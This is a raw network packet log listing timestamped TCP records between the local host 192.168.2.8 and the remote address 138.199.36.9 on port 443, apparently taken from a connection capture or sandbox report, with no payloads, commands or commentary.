Sep 7, 2024 23:15:33.238838911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.238847971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238905907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239145041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239161968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239211082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239219904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239262104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239411116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239428997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239476919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239483118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239504099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239522934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239664078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239677906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239727020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.239733934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.239765882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326267958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326293945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326411963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326446056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326491117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326529026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326545000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326591969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326602936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326637030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326760054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326776981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326832056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326838970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.326874971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.326987982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327002048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327049017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327054977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327085972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327306986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327322006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327364922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327372074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327403069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327673912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327692032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327742100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327749014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327780962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327914953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327928066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.327971935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.327979088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.328010082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.328142881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.328157902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.328205109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.328211069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.328241110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415088892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415111065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415163994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415210009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415256023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415282965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415314913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415349960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415363073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415401936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415410995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415436983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415622950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415641069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415688992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415700912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415853024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415865898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.415906906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.415916920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416167021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416187048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416227102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.416234016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416452885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416467905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.416516066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.416523933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.417021990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.417045116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.417078972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.417090893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.417114973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.456608057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.503504992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.503535986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.503635883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.503657103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.503663063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.503693104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.503711939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.503740072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.503994942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504009962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504084110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504091024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504220009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504240990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504267931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504276991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504295111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504478931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504499912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504535913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504548073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504573107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504756927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504775047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.504822969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.504828930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505134106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505146980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505177021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.505182028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505208015 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.505589962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505611897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505640030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.505645990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.505669117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.550394058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.592468023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.592502117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.592670918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.592705965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.592758894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.592966080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.592983007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593028069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593039036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593059063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593074083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593182087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593197107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593225956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593234062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593261003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593276978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593580961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593595982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593660116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.593673944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.593708038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.594046116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594060898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594118118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.594130993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594165087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.594384909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594398975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594449043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.594455957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.594491959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.595530987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.595546007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.595602036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.595618010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.595650911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.595940113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.595954895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.596010923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.596023083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.596055031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.681838036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.681859970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.681899071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.681946993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.681967020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.681984901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682010889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682027102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682029009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682029009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682049036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682051897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682060957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682086945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682261944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682285070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682312965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682322979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682344913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682670116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682682991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.682729006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.682743073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.683080912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.683099031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.683161020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.683175087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684103012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684114933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684171915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.684190989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684366941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684391975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684427977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.684438944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.684453011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.737863064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.769479036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769506931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769623041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.769654989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769700050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.769715071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769735098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769773960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.769781113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.769812107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.770170927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770185947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770234108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.770241022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770272017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.770551920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770566940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770617962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.770629883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.770658970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.771176100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771192074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771234035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.771244049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771272898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.771524906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771539927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771584034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.771590948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.771622896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.772324085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772345066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772381067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.772393942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772411108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.772427082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.772619009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772633076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772680044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.772690058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.772723913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858033895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858057976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858150005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858191013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858211040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858232975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858234882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858248949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858259916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858298063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858613968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858628988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858685017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858702898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858737946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.858967066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.858994007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.859044075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.859051943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.859085083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.859639883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.859658957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.859709978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.859719992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.859750032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.860105991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.860122919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.860172033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.860179901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.860210896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.860970974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.860991955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.861052036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.861064911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.861098051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.861288071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.861303091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.861349106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.861356020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.861386061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947029114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947048903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947222948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947257996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947299004 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947422028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947437048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947488070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947495937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947527885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947685003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947700024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947753906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.947760105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.947789907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948013067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948026896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948069096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948075056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948100090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948116064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948657036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948683023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948717117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948723078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948749065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948765993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.948937893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.948956013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.949004889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.949012041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.949050903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.949908972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.949923038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.949973106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.949984074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.950021029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.950428963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.950443029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.950494051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.950500965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.950537920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.035572052 CEST	443	49706	138.199.36.9	192.168.2.8
